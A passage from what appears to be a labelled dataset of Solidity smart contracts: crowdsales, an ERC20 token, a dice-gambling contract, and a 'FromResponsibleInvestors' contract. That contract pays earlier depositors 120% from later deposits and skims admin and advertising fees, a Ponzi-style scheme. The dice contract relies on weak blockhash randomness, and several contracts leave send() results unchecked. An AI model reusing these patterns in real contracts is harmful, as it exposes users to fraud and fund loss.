for (uint i = 0; i < _addresses.length; i++) {
whitelist[_addresses[i]] = true;
emit WhitelistedAddressAdded(_addresses[i]);
}
}
function removeAddressFromWhitelist(address _address) external onlyOwner {
delete whitelist[_address];
emit WhitelistedAddressRemoved(_address);
}
function removeAddressesFromWhitelist(address[] _addresses) external onlyOwner {
for (uint i = 0; i < _addresses.length; i++) {
delete whitelist[_addresses[i]];
emit WhitelistedAddressRemoved(_addresses[i]);
}
}
function isWhitelisted(address _address) public view returns (bool) {
return whitelist[_address];
}
function _preValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
onlyIfWhitelisted(_beneficiary)
{
super._preValidatePurchase(_beneficiary, _weiAmount);
}
}
contract TemplateCrowdsale is Consts, MainCrowdsale
, BonusableCrowdsale
, Checkable
, WhitelistedCrowdsale
{
event Initialized();
event TimesChanged(uint startTime, uint endTime, uint oldStartTime, uint oldEndTime);
bool public initialized = false;
constructor(MintableToken _token) public
Crowdsale(8000 * TOKEN_DECIMAL_MULTIPLIER, 0xbC5F8A2d64026248EA2C3Aef800F96fB659cf027, _token)
TimedCrowdsale(START_TIME > now ? START_TIME : now, 1535472000)
CappedCrowdsale(62500000000000000000000)
{
}
function init() public onlyOwner {
require(!initialized);
initialized = true;
if (PAUSED) {
MainToken(token).pause();
}
transferOwnership(TARGET_USER);
emit Initialized();
}
function hasClosed() public view returns (bool) {
bool remainValue = cap.sub(weiRaised) < 230000000000000000;
return super.hasClosed() || remainValue;
}
function internalCheck() internal returns (bool) {
bool result = !isFinalized && hasClosed();
emit Checked(result);
return result;
}
function internalAction() internal {
finalization();
emit Finalized();
isFinalized = true;
}
function _preValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
{
require(msg.value >= 230000000000000000);
require(msg.value <= 575000000000000000000);
super._preValidatePurchase(_beneficiary, _weiAmount);
}
} | 1 | 3,203 |
pragma solidity ^0.4.25;
library Math {
function min(uint a, uint b) internal pure returns(uint) {
if (a > b) {
return b;
}
return a;
}
function max(uint a, uint b) internal pure returns(uint) {
if (a > b) {
return a;
}
return b;
}
}
library Percent {
struct percent {
uint num;
uint den;
}
function mul(percent storage p, uint a) internal view returns (uint) {
if (a == 0) {
return 0;
}
return a*p.num/p.den;
}
function toMemory(percent storage p) internal view returns (Percent.percent memory) {
return Percent.percent(p.num, p.den);
}
}
library SafeMath {
function mul(uint256 _a, uint256 _b) internal pure returns (uint256) {
if (_a == 0) {
return 0;
}
uint256 c = _a * _b;
require(c / _a == _b);
return c;
}
function add(uint256 _a, uint256 _b) internal pure returns (uint256) {
uint256 c = _a + _b;
require(c >= _a);
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() internal {
owner = msg.sender;
emit OwnershipTransferred(address(0), owner);
}
function owner() public view returns(address) {
return owner;
}
modifier onlyOwner() {
require(isOwner());
_;
}
function isOwner() public view returns(bool) {
return msg.sender == owner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(owner, address(0));
owner = address(0);
}
}
contract distribution is Ownable {
using SafeMath for uint;
uint public currentPaymentIndex = 0;
uint public depositorsCount;
uint public amountForDistribution = 0;
uint public amountRaised = 0;
struct Deposite {
address depositor;
uint amount;
uint depositeTime;
uint paimentTime;
}
Deposite[] public deposites;
mapping ( address => uint[]) public depositors;
function getAllDepositesCount() public view returns (uint) ;
function getLastDepositId() public view returns (uint) ;
function getDeposit(uint _id) public view returns (address, uint, uint, uint);
}
contract FromResponsibleInvestors is Ownable {
using Percent for Percent.percent;
using SafeMath for uint;
using Math for uint;
address constant public advertisingAddress = address(0x43571AfEA3c3c6F02569bdC59325F4f95463014d);
address constant public adminsAddress = address(0x8008BD6FdDF2C26382B4c19d714A1BfeA317ec57);
Percent.percent private m_adminsPercent = Percent.percent(3, 100);
Percent.percent private m_advertisingPercent = Percent.percent(5, 100);
Percent.percent public MULTIPLIER = Percent.percent(120, 100);
bool public migrationFinished = false;
uint public amountRaised = 0;
uint public advertAmountRaised = 0;
struct Deposit {
address depositor;
uint deposit;
uint expects;
uint paymentTime;
}
Deposit[] private ImportedQueue;
Deposit[] private Queue;
mapping(address => uint[]) public depositors;
uint public depositorsCount = 0;
uint public currentImportedReceiverIndex = 0;
uint public currentReceiverIndex = 0;
uint public minBalanceForDistribution = 24 ether;
event LogNewInvesment(address indexed addr, uint when, uint investment, uint value);
event LogImportInvestorsPartComplete(uint when, uint howmuch, uint lastIndex);
event LogNewInvestor(address indexed addr, uint when);
constructor() public {
}
function () public payable {
if(msg.value > 0){
require(msg.value >= 0.01 ether, "investment must be >= 0.01 ether");
require(msg.value <= 10 ether, "investment must be <= 10 ether");
uint expect = MULTIPLIER.mul(msg.value);
Queue.push(Deposit({depositor:msg.sender, deposit:msg.value, expects:expect, paymentTime:0}));
amountRaised += msg.value;
if (depositors[msg.sender].length == 0) depositorsCount += 1;
depositors[msg.sender].push(Queue.length - 1);
uint advertperc = m_advertisingPercent.mul(msg.value);
advertisingAddress.send(advertperc);
adminsAddress.send(m_adminsPercent.mul(msg.value));
advertAmountRaised += advertperc;
}
}
function distribute(uint maxIterations) public {
require(maxIterations <= 100, "no more than 100 iterations");
uint money = address(this).balance;
require(money >= minBalanceForDistribution, "Not enough funds to pay");
uint ImportedQueueLen = ImportedQueue.length;
uint QueueLen = Queue.length;
uint toSend = 0;
maxIterations = maxIterations.max(5);
for (uint i = 0; i < maxIterations; i++) {
if (currentImportedReceiverIndex < ImportedQueueLen){
toSend = ImportedQueue[currentImportedReceiverIndex].expects;
if (money >= toSend){
money = money.sub(toSend);
ImportedQueue[currentImportedReceiverIndex].paymentTime = now;
ImportedQueue[currentImportedReceiverIndex].depositor.send(toSend);
currentImportedReceiverIndex += 1;
}
}
if (currentReceiverIndex < QueueLen){
toSend = Queue[currentReceiverIndex].expects;
if (money >= toSend){
money = money.sub(toSend);
Queue[currentReceiverIndex].paymentTime = now;
Queue[currentReceiverIndex].depositor.send(toSend);
currentReceiverIndex += 1;
}
}
}
setMinBalanceForDistribution();
}
function setMinBalanceForDistribution() private {
uint importedExpects = 0;
if (currentImportedReceiverIndex < ImportedQueue.length) {
importedExpects = ImportedQueue[currentImportedReceiverIndex].expects;
}
if (currentReceiverIndex < Queue.length) {
minBalanceForDistribution = Queue[currentReceiverIndex].expects;
} else {
minBalanceForDistribution = 12 ether;
}
if (importedExpects > 0){
minBalanceForDistribution = minBalanceForDistribution.add(importedExpects);
}
}
function FromMMM30Reload(address _ImportContract, uint _from, uint _to) public onlyOwner {
require(!migrationFinished);
distribution ImportContract = distribution(_ImportContract);
address depositor;
uint amount;
uint depositeTime;
uint paymentTime;
uint c = 0;
uint maxLen = ImportContract.getLastDepositId();
_to = _to.min(maxLen);
for (uint i = _from; i <= _to; i++) {
(depositor, amount, depositeTime, paymentTime) = ImportContract.getDeposit(i);
if ((depositor != address(0x494A7A2D0599f2447487D7fA10BaEAfCB301c41B)) &&
(depositor != address(0xFd3093a4A3bd68b46dB42B7E59e2d88c6D58A99E)) &&
(depositor != address(0xBaa2CB97B6e28ef5c0A7b957398edf7Ab5F01A1B)) &&
(depositor != address(0xFDd46866C279C90f463a08518e151bC78A1a5f38)) &&
(depositor != address(0xdFa5662B5495E34C2aA8f06Feb358A6D90A6d62e))) {
ImportedQueue.push(Deposit({depositor:depositor, deposit:uint(amount), expects:uint(MULTIPLIER.mul(amount)), paymentTime:0}));
depositors[depositor].push(ImportedQueue.length - 1);
c++;
}
}
emit LogImportInvestorsPartComplete(now, c, _to);
}
function finishMigration() public onlyOwner {
migrationFinished = true;
renounceOwnership();
}
function getBalance() public view returns (uint) {
return address(this).balance;
}
function getAdvertisingBalance() public view returns (uint) {
return advertisingAddress.balance;
}
function getDepositsCount() public view returns (uint) {
return Queue.length.sub(currentReceiverIndex);
}
function getImportedDepositsCount() public view returns (uint) {
return ImportedQueue.length.sub(currentImportedReceiverIndex);
}
function getDeposit(uint idx) public view returns (address depositor, uint deposit, uint expect, uint paymentTime){
Deposit storage dep = Queue[idx];
return (dep.depositor, dep.deposit, dep.expects, dep.paymentTime);
}
function getImportedDeposit(uint idx) public view returns (address depositor, uint deposit, uint expect, uint paymentTime){
Deposit storage dep = ImportedQueue[idx];
return (dep.depositor, dep.deposit, dep.expects, dep.paymentTime);
}
function getLastPayments(uint lastIndex) public view returns (address, uint, uint) {
uint depositeIndex = currentReceiverIndex.sub(lastIndex).sub(1);
return (Queue[depositeIndex].depositor, Queue[depositeIndex].paymentTime, Queue[depositeIndex].expects);
}
function getLastImportedPayments(uint lastIndex) public view returns (address, uint, uint) {
uint depositeIndex = currentImportedReceiverIndex.sub(lastIndex).sub(1);
return (ImportedQueue[depositeIndex].depositor, ImportedQueue[depositeIndex].paymentTime, ImportedQueue[depositeIndex].expects);
}
function getUserDepositsCount(address depositor) public view returns (uint) {
uint c = 0;
for(uint i=0; i<Queue.length; ++i){
if(Queue[i].depositor == depositor)
c++;
}
return c;
}
function getImportedUserDepositsCount(address depositor) public view returns (uint) {
uint c = 0;
for(uint i=0; i<ImportedQueue.length; ++i){
if(ImportedQueue[i].depositor == depositor)
c++;
}
return c;
}
function getUserDeposits(address depositor) public view returns (uint[] idxs, uint[] paymentTime, uint[] amount, uint[] expects) {
uint c = getUserDepositsCount(depositor);
idxs = new uint[](c);
paymentTime = new uint[](c);
expects = new uint[](c);
amount = new uint[](c);
uint num = 0;
if(c > 0) {
uint j = 0;
for(uint i=0; i<c; ++i){
num = depositors[depositor][i];
Deposit storage dep = Queue[num];
idxs[j] = i;
paymentTime[j] = dep.paymentTime;
amount[j] = dep.deposit;
expects[j] = dep.expects;
j++;
}
}
}
function getImportedUserDeposits(address depositor) public view returns (uint[] idxs, uint[] paymentTime, uint[] amount, uint[] expects) {
uint c = getImportedUserDepositsCount(depositor);
idxs = new uint[](c);
paymentTime = new uint[](c);
expects = new uint[](c);
amount = new uint[](c);
if(c > 0) {
uint j = 0;
for(uint i=0; i<ImportedQueue.length; ++i){
Deposit storage dep = ImportedQueue[i];
if(dep.depositor == depositor){
idxs[j] = i;
paymentTime[j] = dep.paymentTime;
amount[j] = dep.deposit;
expects[j] = dep.expects;
j++;
}
}
}
}
} | 1 | 3,729 |
pragma solidity ^0.5.0;
contract CryptoTycoonsVIPLib{
address payable public owner;
uint128 public jackpotSize;
uint128 public rankingRewardSize;
mapping (address => uint) userExpPool;
mapping (address => bool) public callerMap;
event RankingRewardPayment(address indexed beneficiary, uint amount);
modifier onlyOwner {
require(msg.sender == owner, "OnlyOwner methods called by non-owner.");
_;
}
modifier onlyCaller {
bool isCaller = callerMap[msg.sender];
require(isCaller, "onlyCaller methods called by non-caller.");
_;
}
constructor() public{
owner = msg.sender;
callerMap[owner] = true;
}
function () external payable {
}
function kill() external onlyOwner {
selfdestruct(owner);
}
function addCaller(address caller) public onlyOwner{
bool isCaller = callerMap[caller];
if (isCaller == false){
callerMap[caller] = true;
}
}
function deleteCaller(address caller) external onlyOwner {
bool isCaller = callerMap[caller];
if (isCaller == true) {
callerMap[caller] = false;
}
}
function addUserExp(address addr, uint256 amount) public onlyCaller{
uint exp = userExpPool[addr];
exp = exp + amount;
userExpPool[addr] = exp;
}
function getUserExp(address addr) public view returns(uint256 exp){
return userExpPool[addr];
}
function getVIPLevel(address user) public view returns (uint256 level) {
uint exp = userExpPool[user];
if(exp >= 25 ether && exp < 125 ether){
level = 1;
} else if(exp >= 125 ether && exp < 250 ether){
level = 2;
} else if(exp >= 250 ether && exp < 1250 ether){
level = 3;
} else if(exp >= 1250 ether && exp < 2500 ether){
level = 4;
} else if(exp >= 2500 ether && exp < 12500 ether){
level = 5;
} else if(exp >= 12500 ether && exp < 25000 ether){
level = 6;
} else if(exp >= 25000 ether && exp < 125000 ether){
level = 7;
} else if(exp >= 125000 ether && exp < 250000 ether){
level = 8;
} else if(exp >= 250000 ether && exp < 1250000 ether){
level = 9;
} else if(exp >= 1250000 ether){
level = 10;
} else{
level = 0;
}
return level;
}
function getVIPBounusRate(address user) public view returns (uint256 rate){
uint level = getVIPLevel(user);
return level;
}
function increaseJackpot(uint increaseAmount) external onlyCaller {
require (increaseAmount <= address(this).balance, "Increase amount larger than balance.");
require (jackpotSize + increaseAmount <= address(this).balance, "Not enough funds.");
jackpotSize += uint128(increaseAmount);
}
function payJackpotReward(address payable to) external onlyCaller{
to.transfer(jackpotSize);
jackpotSize = 0;
}
function getJackpotSize() external view returns (uint256){
return jackpotSize;
}
function increaseRankingReward(uint amount) public onlyCaller{
require (amount <= address(this).balance, "Increase amount larger than balance.");
require (rankingRewardSize + amount <= address(this).balance, "Not enough funds.");
rankingRewardSize += uint128(amount);
}
function payRankingReward(address payable to) external onlyCaller {
uint128 prize = rankingRewardSize / 2;
rankingRewardSize = rankingRewardSize - prize;
if(to.send(prize)){
emit RankingRewardPayment(to, prize);
}
}
function getRankingRewardSize() external view returns (uint128){
return rankingRewardSize;
}
}
contract CryptoTycoonsConstants{
uint constant HOUSE_EDGE_PERCENT = 1;
uint constant RANK_FUNDS_PERCENT = 7;
uint constant INVITER_BENEFIT_PERCENT = 7;
uint constant HOUSE_EDGE_MINIMUM_AMOUNT = 0.0004 ether;
uint constant MIN_JACKPOT_BET = 0.1 ether;
uint constant JACKPOT_MODULO = 1000;
uint constant JACKPOT_FEE = 0.001 ether;
uint constant MIN_BET = 0.01 ether;
uint constant MAX_AMOUNT = 10 ether;
address payable public owner;
address payable private nextOwner;
mapping (address => bool ) croupierMap;
uint public maxProfit;
address payable public VIPLibraryAddress;
address public secretSigner;
event FailedPayment(address indexed beneficiary, uint amount);
event VIPPayback(address indexed beneficiary, uint amount);
event WithdrawFunds(address indexed beneficiary, uint amount);
constructor (uint _maxProfit) public {
owner = msg.sender;
secretSigner = owner;
maxProfit = _maxProfit;
croupierMap[owner] = true;
}
modifier onlyOwner {
require (msg.sender == owner, "OnlyOwner methods called by non-owner.");
_;
}
modifier onlyCroupier {
bool isCroupier = croupierMap[msg.sender];
require(isCroupier, "OnlyCroupier methods called by non-croupier.");
_;
}
function () external payable {
}
function approveNextOwner(address payable _nextOwner) external onlyOwner {
require (_nextOwner != owner, "Cannot approve current owner.");
nextOwner = _nextOwner;
}
function acceptNextOwner() external {
require (msg.sender == nextOwner, "Can only accept preapproved new owner.");
owner = nextOwner;
}
function setSecretSigner(address newSecretSigner) external onlyOwner {
secretSigner = newSecretSigner;
}
function getSecretSigner() external onlyOwner view returns(address){
return secretSigner;
}
function addCroupier(address newCroupier) external onlyOwner {
bool isCroupier = croupierMap[newCroupier];
if (isCroupier == false) {
croupierMap[newCroupier] = true;
}
}
function deleteCroupier(address newCroupier) external onlyOwner {
bool isCroupier = croupierMap[newCroupier];
if (isCroupier == true) {
croupierMap[newCroupier] = false;
}
}
function setVIPLibraryAddress(address payable addr) external onlyOwner{
VIPLibraryAddress = addr;
}
function setMaxProfit(uint _maxProfit) public onlyOwner {
require (_maxProfit < MAX_AMOUNT, "maxProfit should be a sane number.");
maxProfit = _maxProfit;
}
function withdrawFunds(address payable beneficiary, uint withdrawAmount) external onlyOwner {
require (withdrawAmount <= address(this).balance, "Increase amount larger than balance.");
if (beneficiary.send(withdrawAmount)){
emit WithdrawFunds(beneficiary, withdrawAmount);
}
}
function kill() external onlyOwner {
selfdestruct(owner);
}
function thisBalance() public view returns(uint) {
return address(this).balance;
}
function payTodayReward(address payable to) external onlyOwner {
CryptoTycoonsVIPLib vipLib = CryptoTycoonsVIPLib(VIPLibraryAddress);
vipLib.payRankingReward(to);
}
function getRankingRewardSize() external view returns (uint128) {
CryptoTycoonsVIPLib vipLib = CryptoTycoonsVIPLib(VIPLibraryAddress);
return vipLib.getRankingRewardSize();
}
function handleVIPPaybackAndExp(CryptoTycoonsVIPLib vipLib, address payable gambler, uint amount) internal returns(uint vipPayback) {
vipLib.addUserExp(gambler, amount);
uint rate = vipLib.getVIPBounusRate(gambler);
if (rate <= 0)
return 0;
vipPayback = amount * rate / 10000;
if(vipPayback > 0){
emit VIPPayback(gambler, vipPayback);
}
}
function increaseRankingFund(CryptoTycoonsVIPLib vipLib, uint amount) internal{
uint rankingFunds = uint128(amount * HOUSE_EDGE_PERCENT / 100 * RANK_FUNDS_PERCENT /100);
VIPLibraryAddress.transfer(rankingFunds);
vipLib.increaseRankingReward(rankingFunds);
}
function getMyAccuAmount() external view returns (uint){
CryptoTycoonsVIPLib vipLib = CryptoTycoonsVIPLib(VIPLibraryAddress);
return vipLib.getUserExp(msg.sender);
}
function getJackpotSize() external view returns (uint){
CryptoTycoonsVIPLib vipLib = CryptoTycoonsVIPLib(VIPLibraryAddress);
return vipLib.getJackpotSize();
}
function verifyCommit(uint commit, uint8 v, bytes32 r, bytes32 s) internal view {
bytes memory prefix = "\x19Ethereum Signed Message:\n32";
bytes memory message = abi.encodePacked(commit);
bytes32 messageHash = keccak256(abi.encodePacked(prefix, keccak256(message)));
require (secretSigner == ecrecover(messageHash, v, r, s), "ECDSA signature is not valid.");
}
function calcHouseEdge(uint amount) public pure returns (uint houseEdge) {
houseEdge = amount * HOUSE_EDGE_PERCENT / 100;
if (houseEdge < HOUSE_EDGE_MINIMUM_AMOUNT) {
houseEdge = HOUSE_EDGE_MINIMUM_AMOUNT;
}
}
function calcJackpotFee(uint amount) internal pure returns (uint jackpotFee) {
if (amount >= MIN_JACKPOT_BET) {
jackpotFee = JACKPOT_FEE;
}
}
function calcRankFundsFee(uint amount) internal pure returns (uint rankFundsFee) {
rankFundsFee = amount * RANK_FUNDS_PERCENT / 10000;
}
function calcInviterBenefit(uint amount) internal pure returns (uint invitationFee) {
invitationFee = amount * INVITER_BENEFIT_PERCENT / 10000;
}
function processBet(
uint betMask, uint reveal,
uint8 v, bytes32 r, bytes32 s, address payable inviter)
external payable;
}
contract AceDice is CryptoTycoonsConstants(10 ether) {
event Payment(address indexed beneficiary, uint amount, uint dice, uint rollUnder, uint betAmount);
event JackpotPayment(address indexed beneficiary, uint amount, uint dice, uint rollUnder, uint betAmount);
function processBet(
uint betMask, uint reveal,
uint8 v, bytes32 r, bytes32 s, address payable inviter)
external payable {
address payable gambler = msg.sender;
uint amount = msg.value;
require (amount >= MIN_BET && amount <= MAX_AMOUNT, "Amount should be within range.");
require (betMask > 0 && betMask <= 96, "Mask should be within range.");
if (inviter != address(0)){
require(gambler != inviter, "cannot invite myself");
}
uint commit = uint(keccak256(abi.encodePacked(reveal)));
verifyCommit(commit, v, r, s);
require (betMask > 0 && betMask <= 100, "High modulo range, betMask larger than modulo.");
uint possibleWinAmount;
uint jackpotFee;
(possibleWinAmount, jackpotFee) = getDiceWinAmount(amount, betMask);
require (possibleWinAmount <= amount + maxProfit, "maxProfit limit violation. ");
require (possibleWinAmount <= address(this).balance, "Cannot afford to lose this bet.");
bytes32 entropy = keccak256(abi.encodePacked(reveal, blockhash(block.number)));
processReward(gambler, amount, betMask, entropy, inviter);
}
function processReward(
address payable gambler, uint amount,
uint betMask, bytes32 entropy, address payable inviter) internal{
uint dice = uint(entropy) % 100;
CryptoTycoonsVIPLib vipLib = CryptoTycoonsVIPLib(VIPLibraryAddress);
uint payAmount = handleVIPPaybackAndExp(vipLib, msg.sender, amount);
uint diceWinAmount;
uint _jackpotFee;
(diceWinAmount, _jackpotFee) = getDiceWinAmount(amount, betMask);
uint jackpotWin = 0;
if (amount >= MIN_JACKPOT_BET) {
VIPLibraryAddress.transfer(_jackpotFee);
vipLib.increaseJackpot(_jackpotFee);
if ((uint(entropy) / 100) % JACKPOT_MODULO == 0) {
jackpotWin = vipLib.getJackpotSize();
vipLib.payJackpotReward(gambler);
}
}
if (jackpotWin > 0) {
emit JackpotPayment(gambler, jackpotWin, dice, betMask, amount);
}
if(inviter != address(0)){
inviter.transfer(amount * HOUSE_EDGE_PERCENT / 100 * INVITER_BENEFIT_PERCENT /100);
}
increaseRankingFund(vipLib, amount);
if (dice < betMask) {
payAmount += diceWinAmount;
}
if(payAmount > 0){
if (gambler.send(payAmount)) {
emit Payment(gambler, payAmount, dice, betMask, amount);
} else {
emit FailedPayment(gambler, amount);
}
} else {
emit Payment(gambler, payAmount, dice, betMask, amount);
}
}
function getDiceWinAmount(uint amount, uint rollUnder) private pure returns (uint winAmount, uint jackpotFee) {
require (0 < rollUnder && rollUnder <= 100, "Win probability out of range.");
jackpotFee = amount >= MIN_JACKPOT_BET ? JACKPOT_FEE : 0;
uint houseEdge = amount * HOUSE_EDGE_PERCENT / 100;
if (houseEdge < HOUSE_EDGE_MINIMUM_AMOUNT) {
houseEdge = HOUSE_EDGE_MINIMUM_AMOUNT;
}
require (houseEdge + jackpotFee <= amount, "Bet doesn't even cover house edge.");
winAmount = (amount - houseEdge - jackpotFee) * 100 / rollUnder;
}
} | 1 | 2,990 |
pragma solidity ^0.4.18;
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a);
c = a - b;
}
function safeMul(uint a, uint b) public pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function safeDiv(uint a, uint b) public pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
function Owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
contract XENTToken is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
function XENTToken() public {
symbol = "XENT";
name = "XENT Token";
decimals = 18;
_totalSupply = 100000000000000000000000000000;
balances[0x98C7f5CA06204bE8Ee76C45E2336D142321d6747] = _totalSupply;
Transfer(address(0), 0x98C7f5CA06204bE8Ee76C45E2336D142321d6747, _totalSupply);
}
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(msg.sender, to, tokens);
return true;
}
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
return true;
}
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(from, to, tokens);
return true;
}
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
function () public payable {
revert();
}
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | 1 | 4,952 |
pragma solidity ^0.5.2;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
pragma solidity ^0.5.2;
interface IERC20 {
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
pragma solidity ^0.5.2;
library Address {
function isContract(address account) internal view returns (bool) {
uint256 size;
assembly { size := extcodesize(account) }
return size > 0;
}
}
pragma solidity ^0.5.2;
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0));
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract());
(bool success, bytes memory returndata) = address(token).call(data);
require(success);
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)));
}
}
}
pragma solidity ^0.5.2;
contract ReentrancyGuard {
uint256 private _guardCounter;
constructor () internal {
_guardCounter = 1;
}
modifier nonReentrant() {
_guardCounter += 1;
uint256 localCounter = _guardCounter;
_;
require(localCounter == _guardCounter);
}
}
pragma solidity ^0.5.2;
contract Crowdsale is ReentrancyGuard {
using SafeMath for uint256;
using SafeERC20 for IERC20;
IERC20 private _token;
address payable private _wallet;
uint256 private _rate;
uint256 private _weiRaised;
event TokensPurchased(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
constructor (uint256 rate, address payable wallet, IERC20 token) public {
require(rate > 0);
require(wallet != address(0));
require(address(token) != address(0));
_rate = rate;
_wallet = wallet;
_token = token;
}
function () external payable {
buyTokens(msg.sender);
}
function token() public view returns (IERC20) {
return _token;
}
function wallet() public view returns (address payable) {
return _wallet;
}
function rate() public view returns (uint256) {
return _rate;
}
function weiRaised() public view returns (uint256) {
return _weiRaised;
}
function buyTokens(address beneficiary) public nonReentrant payable {
uint256 weiAmount = msg.value;
_preValidatePurchase(beneficiary, weiAmount);
uint256 tokens = _getTokenAmount(weiAmount);
_weiRaised = _weiRaised.add(weiAmount);
_processPurchase(beneficiary, tokens);
emit TokensPurchased(msg.sender, beneficiary, weiAmount, tokens);
_updatePurchasingState(beneficiary, weiAmount);
_forwardFunds();
_postValidatePurchase(beneficiary, weiAmount);
}
function _preValidatePurchase(address beneficiary, uint256 weiAmount) internal view {
require(beneficiary != address(0));
require(weiAmount != 0);
}
function _postValidatePurchase(address beneficiary, uint256 weiAmount) internal view {
}
function _deliverTokens(address beneficiary, uint256 tokenAmount) internal {
_token.safeTransfer(beneficiary, tokenAmount);
}
function _processPurchase(address beneficiary, uint256 tokenAmount) internal {
_deliverTokens(beneficiary, tokenAmount);
}
function _updatePurchasingState(address beneficiary, uint256 weiAmount) internal {
}
function _getTokenAmount(uint256 weiAmount) internal view returns (uint256) {
return weiAmount.mul(_rate);
}
function _forwardFunds() internal {
_wallet.transfer(msg.value);
}
}
pragma solidity ^0.5.2;
contract TimedCrowdsale is Crowdsale {
using SafeMath for uint256;
uint256 private _openingTime;
uint256 private _closingTime;
event TimedCrowdsaleExtended(uint256 prevClosingTime, uint256 newClosingTime);
modifier onlyWhileOpen {
require(isOpen());
_;
}
constructor (uint256 openingTime, uint256 closingTime) public {
require(openingTime >= block.timestamp);
require(closingTime > openingTime);
_openingTime = openingTime;
_closingTime = closingTime;
}
function openingTime() public view returns (uint256) {
return _openingTime;
}
function closingTime() public view returns (uint256) {
return _closingTime;
}
function isOpen() public view returns (bool) {
return block.timestamp >= _openingTime && block.timestamp <= _closingTime;
}
function hasClosed() public view returns (bool) {
return block.timestamp > _closingTime;
}
function _preValidatePurchase(address beneficiary, uint256 weiAmount) internal onlyWhileOpen view {
super._preValidatePurchase(beneficiary, weiAmount);
}
function _extendTime(uint256 newClosingTime) internal {
require(!hasClosed());
require(newClosingTime > _closingTime);
emit TimedCrowdsaleExtended(_closingTime, newClosingTime);
_closingTime = newClosingTime;
}
}
pragma solidity ^0.5.2;
contract FinalizableCrowdsale is TimedCrowdsale {
using SafeMath for uint256;
bool private _finalized;
event CrowdsaleFinalized();
constructor () internal {
_finalized = false;
}
function finalized() public view returns (bool) {
return _finalized;
}
function finalize() public {
require(!_finalized);
require(hasClosed());
_finalized = true;
_finalization();
emit CrowdsaleFinalized();
}
function _finalization() internal {
}
}
